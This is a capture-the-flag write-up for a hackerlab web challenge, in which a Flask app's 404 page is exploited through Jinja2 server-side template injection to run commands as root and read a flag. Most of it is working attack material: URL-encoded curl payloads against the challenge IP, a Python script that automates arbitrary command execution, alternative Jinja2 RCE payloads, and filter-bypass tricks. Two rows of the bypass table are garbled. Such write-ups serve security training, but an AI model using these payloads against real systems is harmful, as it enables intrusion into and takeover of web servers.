Simple Web (d5c47306-5d4f-4ad4-958f-5414a0b85b9b)
Simple Web (d5c47306-5d4f-4ad4-958f-5414a0b85b9b)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-20 | Status: Solved Techniques: Filter bypass using cd commands instead of absolute paths, RCE via lipsum.globals["os"].popen(), Server-Side Template Injection (SSTI) in Jinja2
Summary
Task: Flask web app with user input reflected in 404 page HTML comments. Solution: Exploited Jinja2 SSTI to achieve RCE, bypassed / filter using cd commands to read the flag.
Simple Web — hackerlab.pro
Description
"Должно быть всё очень просто..." (It should be very simple...)
URL: http://62.173.140.174:16043
Analysis
1. Reconnaissance
When accessing non-existent pages, the server returns a 404 error. In the HTML code of the error page, the requested path is reflected in a comment:
html read-only • copy allowed<!--/requested_path-->
The server runs on Flask/Werkzeug (Python).
2. SSTI Discovery
Testing for SSTI using a classic payload:
bash read-only • copy allowedcurl 'http://62.173.140.174:16043/%7B%7B7*7%7D%7D'
The HTML comment shows <!--49--> instead of <!--{{7*7}}--> — confirming Jinja2 SSTI.
3. Configuration Investigation
bash read-only • copy allowedcurl 'http://62.173.140.174:16043/%7B%7Bconfig%7D%7D'
Returns Flask configuration — full access to the template engine.
4. RCE via SSTI
Classic payload for RCE in Jinja2:
{{lipsum.__globals__["os"].popen("command").read()}}
Verification:
bash read-only • copy allowedcurl 'http://62.173.140.174:16043/%7B%7Blipsum.__globals__%5B%22os%22%5D.popen(%22id%22).read()%7D%7D'
Result: uid=0(root) — the application runs as root in a Docker container.
5. Filter Bypass
When attempting to use absolute paths (cat /root/flag.txt), an error occurs — the / character in command arguments is blocked.
Bypass: using cd commands with ; separator:
bash read-only • copy allowedcd ..;cd root;cat flag.txt
Solution
Final Payload
bash read-only • copy allowed# URL-encoded payload curl 'http://62.173.140.174:16043/%7B%7Blipsum.__globals__%5B%22os%22%5D.popen(%22cd%20..;cd%20root;cat%20flag.txt%22).read()%7D%7D'
Step-by-step Payloads
bash read-only • copy allowed# 1. SSTI test curl 'http://62.173.140.174:16043/%7B%7B7*7%7D%7D' # Result: 49 # 2. RCE verification curl 'http://62.173.140.174:16043/%7B%7Blipsum.__globals__%5B%22os%22%5D.popen(%22id%22).read()%7D%7D' # Result: uid=0(root) # 3. Root directory listing curl 'http://62.173.140.174:16043/%7B%7Blipsum.__globals__%5B%22os%22%5D.popen(%22ls%20..%22).read()%7D%7D' # Result: bin, dev, etc, home, lib, ..., root, ... # 4. /root listing curl 'http://62.173.140.174:16043/%7B%7Blipsum.__globals__%5B%22os%22%5D.popen(%22cd%20..;cd%20root;ls%22).read()%7D%7D' # Result: flag.txt # 5. Reading the flag curl 'http://62.173.140.174:16043/%7B%7Blipsum.__globals__%5B%22os%22%5D.popen(%22cd%20..;cd%20root;cat%20flag.txt%22).read()%7D%7D' # Result: CODEBY{REDACTED}
Python Automation Script
python read-only • copy allowed#!/usr/bin/env python3 import requests from urllib.parse import quote BASE_URL = "http://62.173.140.174:16043" def ssti_exec(cmd): """Execute command via SSTI""" payload = f'{{{{lipsum.__globals__["os"].popen("{cmd}").read()}}}}' url = f"{BASE_URL}/{quote(payload)}" resp = requests.get(url) # Extract from HTML comment <!--result--> import re match = re.search(r'<!--(.+?)-->', resp.text, re.DOTALL) return match.group(1) if match else resp.text # Test print(ssti_exec("id")) # uid=0(root) # Get flag (bypass / filter) print(ssti_exec("cd ..;cd root;cat flag.txt")) # CODEBY{REDACTED}
Alternative SSTI Payloads for Jinja2
python read-only • copy allowed# Via request {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} # Via cycler {{cycler.__init__.__globals__.os.popen('id').read()}} # Via joiner {{joiner.__init__.__globals__.os.popen('id').read()}} # Via namespace {{namespace.__init__.__globals__.os.popen('id').read()}} # MRO chain (more universal) {{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('id').read()}} # where X is the index of a class with access to os (usually needs to be enumerated)
Filter Bypass
| Filter | Bypass |
|---|---|
/ in paths | cd ..;cd dir;cat file |
_ | \x5f or attr() |
[] | ` |
. | ` |
| Keywords | String concatenation "o"+"s" |
References
- PayloadsAllTheThings - SSTI
- HackTricks - Jinja2 SSTI